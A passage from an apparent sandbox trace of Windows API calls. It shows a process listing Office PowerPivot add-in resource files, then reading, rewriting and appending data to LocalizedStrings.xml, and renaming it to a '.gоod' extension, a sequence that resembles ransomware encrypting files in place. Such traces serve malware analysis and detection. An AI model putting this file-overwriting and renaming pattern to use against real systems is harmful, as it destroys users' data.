nFileSizeLow=0x14ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0256.928] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0256.928] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf19de457, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf19de457, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf19de457, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0256.928] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2ff666, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2ff666, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2ff666, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0256.928] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9c75fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9c75fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa39cfa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0256.928] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0256.929] FindClose (in: hFindFile=0x134afe0 | out: hFindFile=0x134afe0) returned 1 [0256.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0256.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0256.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0256.929] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu", lpFilePart=0x0) returned 0x51 [0256.929] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b3a0 [0256.929] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.929] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0256.929] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf158c060, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0256.930] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0194432, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0194432, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0256.930] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa2cf9c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa2cf9c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2f5c0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0256.930] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf43e3cb7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fda98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0256.930] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa2834f0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa2834f0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2f5c0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0256.930] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68ff786, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0256.930] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf03d07a0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf03d07a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0258.736] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b0f72e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b359a5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0258.737] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22a9f7a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0258.737] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf466c4e5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf466c4e5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf466c4e5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0258.737] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4d48116, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4d48116, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0258.737] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9992797, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9992797, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9992797, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0258.737] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf10a1263, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12b7378, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x71078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0258.737] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0258.738] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0258.738] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf19de457, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf19de457, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf19de457, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0258.738] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2ff666, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2ff666, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2ff666, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0258.738] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9c75fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9c75fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa39cfa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0258.738] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9c75fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9c75fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa39cfa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0258.738] FindClose (in: hFindFile=0x134b3a0 | out: hFindFile=0x134b3a0) returned 1 [0258.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0258.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0258.739] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0258.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0258.739] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\eu\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x38f5b00 | out: lpFileInformation=0x38f5b00*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1135)) returned 1 [0258.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0258.739] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0258.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0258.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\eu\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0258.740] GetFileType (hFile=0x86c) returned 0x1 [0258.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0258.740] GetFileType (hFile=0x86c) returned 0x1 [0258.740] SetFilePointer (in: hFile=0x86c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0258.740] ReadFile (in: hFile=0x86c, lpBuffer=0x38f5fb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x38f5fb8*, lpNumberOfBytesRead=0x206ec9c8*=0x135, lpOverlapped=0x0) returned 1 [0258.741] CloseHandle (hObject=0x86c) returned 1 [0258.741] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0258.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0258.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\eu\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0258.741] GetFileType (hFile=0x86c) returned 0x1 [0258.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0258.741] GetFileType (hFile=0x86c) returned 0x1 [0258.741] SetFilePointer (in: hFile=0x86c, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1135 [0258.741] WriteFile (in: hFile=0x86c, lpBuffer=0x38f7410*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x38f7410*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0258.741] CloseHandle (hObject=0x86c) returned 1 [0258.742] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0258.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0258.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\eu\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0258.742] GetFileType (hFile=0x86c) returned 0x1 [0258.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0258.742] GetFileType (hFile=0x86c) returned 0x1 [0258.742] ReadFile (in: hFile=0x86c, lpBuffer=0x38f9720, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x38f9720*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0258.814] CloseHandle (hObject=0x86c) returned 1 [0258.815] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0258.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0258.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\eu\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0258.815] GetFileType (hFile=0x86c) returned 0x1 [0258.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0258.815] GetFileType (hFile=0x86c) returned 0x1 [0258.815] WriteFile (in: hFile=0x86c, lpBuffer=0x3747a70*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x3747a70*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0258.815] CloseHandle (hObject=0x86c) returned 1 [0258.815] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0258.815] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml.gоod", lpFilePart=0x0) returned 0x6b [0258.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0258.815] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\eu\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x967a3d41, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1145)) returned 1 [0258.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0258.816] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel 